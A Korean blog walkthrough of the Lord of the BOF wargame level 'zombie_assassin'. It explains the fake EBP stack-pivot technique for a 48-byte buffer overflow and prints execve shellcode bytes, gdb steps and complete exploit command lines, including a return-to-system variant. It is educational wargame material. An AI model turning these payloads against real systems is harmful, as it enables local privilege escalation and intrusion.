반응형

login as : assassin

password : pushing me away

 

lob16.drawio
0.05MB


문제 확인

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	// strncpy instead of strcpy!
	strncpy(buffer, argv[1], 48);
	printf("%s\n", buffer);
}

 

1. 커맨드라인 인자가 있어야 한다.
2. RET 부분에 덮어쓸 값이 스택 주소이면 안된다.
3. RET 부분에 덮어쓸 값이 공유 라이브러리 영역의 주소이면 안된다.
4. strncpy() 함수를 사용하여 48byte만 buffer[40]에 복사한다.

 

이번 문제도 이전 level15 문제와 비슷하게 no stack, no RTL이다.

하지만 strcpy() 함수 대신 strncpy() 함수를 사용하여 48byte만 복사한다는 점이 다르다.

이 문제에서는 fake ebp 기법을 이용하라고 한다.


fake ebp 기법

fake ebp 기법은 결과적으로 FPO 기법과 동일한 동작 원리이기 때문에, FPO 기법을 먼저 이해하고 있는 것이 좋다.
https://sean.tistory.com/490

 

fake ebp 기법은 FPO(Frame Pointer Overflow) 기법과 거의 99.8% 비슷한 맥락으로 ip(instruction pointer)를 변경시켜서 원하는 값에 접근하는 공격기법으로, 가짜 SFP를 만들어서 실행 흐름을 조작하는데, SFP 부분만 overflow 되면 사용할 수 있는 FPO 기법과는 달리 fake ebp 기법은 SFP 부분과 RET 부분까지 overflow가 가능해야 한다.

여기서 FPO 기법과 fake ebp 기법을 더 자세히 비교해보자면

FPO 기법은 아래의 두 가지 조건이 성립되어야 한다.

1. 서브 함수가 존재하고 해당 서브 함수를 호출해야 한다.
2. buffer overflow로 서브 함수 내의 SFP의 최소 하위 1byte를 덮을 수 있어야 한다.


반면, fake ebp 기법은 아래의 조건이 성립되어야 한다.

1. SFP와 RET 부분을 덮어쓸 수 있어야 한다.

 

FPO 기법에서 첫 번째 조건인 서브 함수가 존재하고 해당 서브 함수를 호출해야 하는 이유는 함수 에필로그 과정이 두 번 필요하기 때문이다.

참고)
함수 에필로그는 leave와 ret 명령으로 이루어져 있는데 이 두 명령들의 내부 동작은 아래와 같다.

[leave]
mov esp, ebp
pop ebp

[ret]
pop eip
jmp eip

 

하지만 fake ebp 기법에서는 서브 함수가 없어도 RET 부분에 leave; ret 가젯의 주소를 넣어줌으로써 서브 함수를 호출하여 함수 에필로그를 한번 더 진행하는 것과 같은 효과를 내는 것이다.

그리고 FPO 기법에서 두 번째 조건인 서브 함수 내의 SFP의 최소 하위 1byte를 덮어쓸 수 있어야 한다는 조건이 있는데, SFP 부분의 1byte만 변조할 때는 이용할 수 있는 스택 공간 범위에 있어 약간의 제한이 있었다.

반면, fake ebp 기법에서는 SFP 부분 전체를 변조할 수 있으므로 이용할 수 있는 스택 공간 범위에 있어 제한이 없다.

 

fake ebp 기법 사용 시 스택의 변화

 

왼쪽과 같이 스택이 구성되어 있을 때 fake ebp 기법을 이용해 buffer[40]에는 shellcode가 있는 공간의 주소를 넣고, SFP 부분에는 buffer[40]의 주소에서 4를 뺀 주소를 넣고, RET 부분에는 leave; ret 코드 가젯의 주소를 넣는다면 오른쪽과 같이 구성될 것이다.

 

 

main 함수의 함수 에필로그가 시작되면서 leave 명령이 수행되는데 먼저 leave 명령의 mov esp, ebp로 인해 위와 같이 esp가 ebp와 동일한 위치로 이동된다.

 

현재 SFP 부분에는 buffer[40]의 주소에서 4를 뺀 0xbffffc7c 값이 들어있다.

 

 

그 다음 leave 명령의 pop ebp로 인해 esp는 RET 부분을 가리키게 되고, ebp에는 SFP에 있던 값 0xbffffc7c가 들어가게 됨으로써 ebp는 0xbffffc7c 주소를 가리키게 된다.

 

현재 RET 부분에는 leave; ret 코드 가젯의 주소가 있다.

쉽게 말해 leave; ret 명령이 있는 코드 영역의 주소가 있다는 것이다.

 

 

이어서 main 함수의 ret 명령이 실행되는데 ret 명령의 pop eip에 의해 esp는 argc 부분을 가리키게 되고, eip 레지스터에는 RET 부분에 있던 값이 담기는데, RET 부분에는 leave; ret 코드 가젯의 주소가 있었기 때문에 eip 레지스터에는 leave; ret 코드 가젯의 주소가 담긴다.

 

이어서 ret 명령의 jmp eip로 인해 leave; ret 코드 가젯의 주소로 실행 흐름이 바뀐다.

 

 

실행 흐름이 leave; ret 코드 가젯의 주소로 바뀌었기 때문에 leave 명령과 ret 명령이 다시 수행된다.

 

leave 명령의 mov esp, ebp로 인해 esp의 위치가 ebp와 동일하게 바뀐다.

 

 

그 다음 leave 명령의 pop ebp에 의해 0xbffffc7c 주소에 있던 dummy값이 ebp에 담김으로써 ebp는 dummy 값에 해당하는 주소를 가리키게 되고, esp는 buffer[40]의 시작 주소를 가리키게 된다.

 

FPO 기법을 이해한 상태라면 SFP 부분에 덮어쓰는 값이 buffer[40]의 주소가 아닌 buffer[40]의 주소에서 4를 뺀 0xbffffc7c 주소여야 한다는 것이 이해될 것이다.

 

간단히 설명하자면, 바로 leave 명령의 pop ebp에 의해 esp가 조작되는데 이 부분 때문에 buffer[40]의 주소에서 4를 뺀 주소로 덮어쓰는 것이다.

 

buffer[40]의 주소에서 4를 뺀 주소로 덮어써야 leave 명령의 pop ebp가 수행됐을 때 esp가 buffer[40]의 시작 위치를 가리키도록 할 수 있다.

 

 

이어서 ret 명령이 실행되는데 ret 명령의 pop eip에 의해 esp는 0xbffffc84 주소를 가리키게 되고, buffer[40]의 시작 주소에서부터 4byte만큼에 해당하는 값을 가져와 eip를 담는다.

 

그리고 ret 명령의 jmp eip에 의해 eip 레지스터에 담긴 값에 해당하는 위치로 실행 흐름이 바뀌어 해당 위치에 있는 명령을 수행한다.

 

이때 eip에 담는 값이 shellcode가 있는 공간의 주소라면 실행 흐름이 shellcode 가 있는 공간의 주소로 바뀌어 shellcode를 실행하게 될 것이다.


dummy 값 확인

 

지역 변수의 공간으로 40byte를 할당하는 것으로 보아 dummy 값은 없다.


공격

[shellcode의 주소] * 40 + [buffer[40]-4의 주소] + [leave; ret 코드 가젯의 주소]

 

fake ebp 기법을 적용하여 payload를 구성하면 위와 같다.

 

먼저 shellcode 주소는 argv[2]에 shellcode를 넣고 argv[2]의 주소를 사용할 것인데, argv[2]의 주소와 buffer[40]-4의 주소를 얻기 위해 core 파일을 분석할 것이다.

 

그리고 leave; ret 코드 가젯의 주소는 gdb를 이용해 알아낼 것이다.

 

참고) 굳이 argv[2]를 이용할 필요 없이 환경 변수를 이용해도 된다.

 

cp zombie_assassin zombie_assassin2

`python -c 'print "a" * 48'` `python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

gdb -q -c core

x/80x $esp-48

x/3x 0xbffffcb4

x/s 0xbffffdeb

 

먼저 core 파일을 생성하기 위해 zombie_assassin 파일을 zonbie_assassin2 파일로 복사하고, 위와 같이 인자를 주어 실행함으로써 core 파일을 생성한다.

 

그리고 core 파일을 분석해보면 argv[2]의 주소는 0xbffffdeb이고, buffer[40]의 주소는 0xbffffc40이므로 buffer[40]-4의 주소는 0xbffffc3c이다.

 

 

gdb -q zombie_assassin

disas main

 

이어서 gdb로 zombie_assassin 파일을 열어 디스어셈블 해보면 leave; ret 코드 가젯의 주소는 0x80484df이다.

 

`python -c 'print "\xeb\xfd\xff\xbf" * 10 + "\x3c\xfc\xff\xbf" + "\xdf\x84\x04\x08"'` `python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

 

위에서 구한 정보들로 payload를 구성한 후 zonbie_assassin에 인자로 주어 실행하면 segmentation fault가 발생한다.

 

이는 당연히 프로그램 이름 길이에 따른 스택 주소의 변화 부분을 고려 안했기 때문인데, 테스트 때는 zombie_assassin2에 했었기 때문에 argv[2]의 주소가 0xbffffdeb였지만, zombie_assassin에 인자로 줄 때는 0xbffffded로 해야 한다.

 

참고)

프로그램 이름 길이가 1byte 길어지면 스택의 주소는 2byte씩 작아지고, 반대로 이름 길이가 1byte 짧아지면 스택의 주소는 2byte씩 커진다.

그러므로 zombie_assassin은 zombie_assassin2보다 1byte 작기 때문에 스택 주소가 2byte 커져야 한다.

 

./zombie_assassin `python -c 'print "\xed\xfd\xff\xbf" * 10 + "\x3c\xfc\xff\xbf" + "\xdf\x84\x04\x08"'` `python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

 

수정된 payload로 공격하면 zombie_assassin의 password인 no place to hide를 얻을 수 있다.

 


쉘 코드 없이 system 함수를 이용해 공격

 

[system() 함수의 주소] + [system() 함수의 RET 부분] + ["/bin/sh" 문자열의 주소] + [남은 buffer[40]의 공간] + [buffer[40]-4의 주소] + [leave; ret 가젯의 주소]

 

쉘 코드 없이 system() 함수가 실행되도록 실행 흐름을 바꿔 공격할 수도 있다.

 

payload 구성은 위와 같다.

 

cp zombie_assassin zombie_assassin2

./zombie_assassin2 `python -c 'print "a" * 48'`

gdb -q -c core

x/40x $esp-48

 

먼저, buffer[40] - 4의 주소를 구하기 위해 core 파일을 생성한 후 core 파일을 분석한다.

 

buffer[40]-4의 주소는 0xbffffc4c이다.

 

ldd zombie_assassin

nm /lib/libc.so.6 | grep system

strings -tx /lib/libc.so.6 | grep /bin/sh

 

그 다음 sysetm() 함수와 "/bin/sh" 문자열의 주소를 공유 라이브러리에서 찾으면 각각 0x40058ae0과 0x400fbff9이다.

 

./zombie_assassin `python -c 'print "\xe0\x8a\x05\x40" + "aaaa" + "\xf9\xbf\x0f\x40" + "b" * 28 + "\x4c\xfc\xff\xbf" + "\xdf\x84\x04\x08"'`

 

위에서 구한 정보들을 이용해 payload를 구성한 후 공격하면 성공적으로 zombie_assassin의 password인 no place to hide를 얻을 수 있다.

 

 

반응형

+ Recent posts